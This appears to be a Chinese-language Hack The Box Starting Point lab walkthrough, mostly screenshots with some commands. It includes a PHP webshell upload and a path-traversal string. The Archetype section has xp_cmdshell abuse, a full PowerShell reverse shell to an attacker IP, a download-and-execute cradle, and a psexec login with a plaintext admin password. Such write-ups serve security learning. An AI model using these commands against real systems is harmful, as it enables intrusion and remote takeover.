Meow
![image-20230206175627606](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206175627606.png)
![image-20230206174536717](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206174536717.png)
![image-20230206174546679](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206174546679.png)
![image-20230206175818020](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206175818020.png)
![image-20230206181027449](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206181027449.png)
![image-20230206181038820](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206181038820.png)
![image-20230206181101333](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206181101333.png)
![image-20230206181110680](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206181110680.png)
![image-20230206181201614](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206181201614.png)
![image-20230206181150222](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206181150222.png)
![image-20230206181236646](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206181236646.png)
![image-20230206181448142](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206181448142.png)
![image-20230206181408513](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206181408513.png)
![image-20230206181427180](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206181427180.png)
Fawn
![image-20230206184145534](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206184145534.png)
![image-20230206184254486](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206184254486.png)
![image-20230206185045555](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206185045555.png)
![image-20230206185201079](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206185201079.png)
![image-20230206191033877](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206191033877.png)
nmap 10.129.119.29 -p 21 -sV
|
![image-20230206190731487](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206190731487.png)
![image-20230206191953692](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206191953692.png)
![image-20230206192032593](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206192032593.png)
![image-20230206192150303](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206192150303.png)
![image-20230206193037257](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206193037257.png)
![image-20230206193005172](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206193005172.png)
![image-20230206193259107](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206193259107.png)
![image-20230206193245833](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206193245833.png)
![image-20230206193359569](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206193359569.png)
![image-20230206193347668](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206193347668.png)
![image-20230206193434105](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206193434105.png)
![image-20230206193417839](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206193417839.png)
Dancing
![image-20230206233828580](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206233828580.png)
![image-20230206233853521](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206233853521.png)
![image-20230206234005320](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206234005320.png)
nmap 10.129.44.223 -p 445
|
![image-20230206234111336](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230206234111336.png)
![image-20230207015202299](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207015202299.png)
![image-20230207015214960](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207015214960.png)
![image-20230207020741444](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207020741444.png)
![image-20230207020842867](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207020842867.png)
![image-20230207021442054](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207021442054.png)
![image-20230207022035324](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207022035324.png)
![image-20230207022104548](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207022104548.png)
Redeemer
![image-20230207181240757](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207181240757.png)
nmap -sS 10.129.100.239 --top-ports 5000
|
![image-20230207180914811](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207180914811.png)
![image-20230207181413876](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207181413876.png)
![image-20230207181447973](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207181447973.png)
![image-20230207182137423](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207182137423.png)
![image-20230207182226640](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207182226640.png)
![image-20230207182605126](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207182605126.png)
![image-20230207182550642](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207182550642.png)
![image-20230207182628928](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207182628928.png)
![image-20230207185114681](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207185114681.png)
![image-20230207185506925](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207185506925.png)
![image-20230207185449819](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207185449819.png)
![image-20230207190315731](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207190315731.png)
![image-20230207190320437](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207190320437.png)
![image-20230207190305239](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207190305239.png)
Appointment
![image-20230207193324797](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207193324797.png)
Structured Query Language
|
![image-20230207193556217](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207193556217.png)
![image-20230207194117621](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207194117621.png)
Personally Identifiable Information
|
![image-20230207194644252](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207194644252.png)
![image-20230207195521269](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207195521269.png)
![image-20230207195454695](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207195454695.png)
Apache httpd 2.4.38 ((Debian))
|
![image-20230207195535458](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207195535458.png)
![image-20230207195741269](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207195741269.png)
![image-20230207195929370](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207195929370.png)
![image-20230207200046085](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207200046085.png)
![image-20230207200057263](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207200057263.png)
![image-20230207202904323](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207202904323.png)
![image-20230207201808751](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207201808751.png)
![image-20230207201817903](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207201817903.png)
Sequel
![image-20230207203150343](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207203150343.png)
![image-20230207232927990](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207232927990.png)
![image-20230207232940220](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207232940220.png)
![image-20230207232957117](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207232957117.png)
![image-20230207233009889](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207233009889.png)
![image-20230207233025993](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207233025993.png)
![image-20230207233857026](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207233857026.png)
![image-20230207234145269](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207234145269.png)
![image-20230207234128565](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207234128565.png)
![image-20230207234759316](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230207234759316.png)
Crocodile
![image-20230209124206871](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209124206871.png)
![image-20230209124317883](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209124317883.png)
![image-20230209124257748](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209124257748.png)
![image-20230209124538707](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209124538707.png)
![image-20230209124521104](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209124521104.png)
![image-20230209124604080](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209124604080.png)
![image-20230209124611319](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209124611319.png)
![image-20230209124711612](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209124711612.png)
![image-20230209124645632](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209124645632.png)
![image-20230209124701469](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209124701469.png)
![image-20230209125350976](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209125350976.png)
![image-20230209125338265](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209125338265.png)
![image-20230209131836191](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209131836191.png)
![image-20230209132208017](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209132208017.png)
密码在ftp服务
![image-20230209132759510](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209132759510.png)
![image-20230209132829559](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209132829559.png)
![image-20230209132845125](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209132845125.png)
Responder
![image-20230209135731889](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209135731889.png)
![image-20230209135659603](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209135659603.png)
hosts 文件中添加
![image-20230209140144798](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209140144798.png)
![image-20230209140212966](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209140212966.png)
![image-20230209140426979](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209140426979.png)
![image-20230209140454616](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209140454616.png)
![image-20230209140511056](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209140511056.png)
![image-20230209140613675](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209140613675.png)
../../../../../../../../windows/system32/drivers/etc/hosts
|
![image-20230209140642669](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209140642669.png)
![image-20230209145146047](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209145146047.png)
![image-20230209172519832](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209172519832.png)
![image-20230209172500168](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209172500168.png)
![image-20230209173625814](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209173625814.png)
![image-20230209174709960](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209174709960.png)
![image-20230209174723015](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209174723015.png)
![image-20230209174728947](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209174728947.png)
![image-20230209174804175](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209174804175.png)
![image-20230209174754995](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209174754995.png)
![image-20230209175231311](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209175231311.png)
![image-20230209175617496](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209175617496.png)
可以看到密码是badminton
![image-20230209180705343](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209180705343.png)
![image-20230209192115528](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209192115528.png)
![image-20230209191750240](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209191750240.png)
![image-20230209192105901](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209192105901.png)
![image-20230209193313661](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209193313661.png)
Three
![image-20230209200522621](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209200522621.png)
![image-20230209195405065](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209195405065.png)
![image-20230209200717038](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209200717038.png)
![image-20230209200700738](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209200700738.png)
![image-20230209201410743](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209201410743.png)
![image-20230209203214804](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230209203214804.png)
![image-20230210173244081](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230210173244081.png)
高版本需要这样才能扫到
gobuster vhost -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u http://thetoppers.htb --append-domain
|
![image-20230212165028171](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212165028171.png)
![image-20230210174102491](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230210174102491.png)
![image-20230210174113567](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230210174113567.png)
![image-20230210173431041](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230210173431041.png)
![image-20230210173346595](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230210173346595.png)
![image-20230211191615347](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230211191615347.png)
![image-20230211191602197](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230211191602197.png)
![image-20230212130426043](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212130426043.png)
![image-20230212130451552](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212130451552.png)
![image-20230212131117703](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212131117703.png)
列出存储桶
aws --endpoint=http://s3.thetoppers.htb s3 ls
|
![image-20230212162718750](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212162718750.png)
![image-20230212162739643](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212162739643.png)
列出存储桶中的文件
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
|
![image-20230212162703431](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212162703431.png)
aws --endpoint=http://s3.thetoppers.htb s3 cp zf.php s3://thetoppers.htb
|
![image-20230212162956915](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212162956915.png)
写一个一句话木马上传
![image-20230212163703965](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212163703965.png)
![image-20230212163819371](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212163819371.png)
Archetype
![image-20230212191516755](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212191516755.png)
![image-20230212191508618](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212191508618.png)
![image-20230212191659660](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212191659660.png)
![image-20230212191645776](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212191645776.png)
![image-20230212191917202](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212191917202.png)
![image-20230212191851406](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212191851406.png)
![image-20230212191900954](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212191900954.png)
prod.dtsConfig 是一个mssql配置文件
![image-20230212193146753](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212193146753.png)
![image-20230212193001823](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212193001823.png)
![image-20230212193221613](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212193221613.png)
select is_srvrolemember ('sysadmin') //查看有无sysadmin 权限 enable_xp_cmdshell
|
![image-20230212194003861](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212194003861.png)
EXEC sp_configure 'Show Advanced Options', 1; \\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项 reconfigure; \\确认上面的操作 sp_configure; \\查看当前sp_configure配置情况 EXEC sp_configure 'xp_cmdshell', 1 \\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令 reconfigure; \\确认上面的操作 xp_cmdshell "whoami" \\在靶机上调用cmdshell执行whoami
|
![image-20230212194412756](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212194412756.png)
尝试powershell 反弹shell
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.128",5555);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
![image-20230212194536622](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212194536622.png)
![image-20230212194626836](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212194626836.png)
xp_cmdshell powershell iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.128/zf.ps1'');
|
![image-20230212195233800](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212195233800.png)
![image-20230212195325051](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212195325051.png)
3e7b102e78218e935bf3f4951fec21a3
|
![image-20230212195507795](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212195507795.png)
![image-20230212200956446](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212200956446.png)
https://github.com/carlospolop/PEASS-ng/releases
|
![image-20230212195813224](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212195813224.png)
wget http://10.10.14.128/winPEASany.exe -o winpeas.exe
|
![image-20230212200153424](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212200153424.png)
./winpeas.exe log=result.txttype
|
![image-20230212200639041](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212200639041.png)
![image-20230212200906099](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212200906099.png)
这里找到 admin 密码
![image-20230212200914259](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212200914259.png)
impacket-psexec administrator@10.129.71.45 MEGACORP_4dm1n!!
|
![image-20230212202055369](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212202055369.png)
![image-20230212202248476](https://wanan-1310031509.cos.ap-beijing.myqcloud.com/img/image-20230212202248476.png)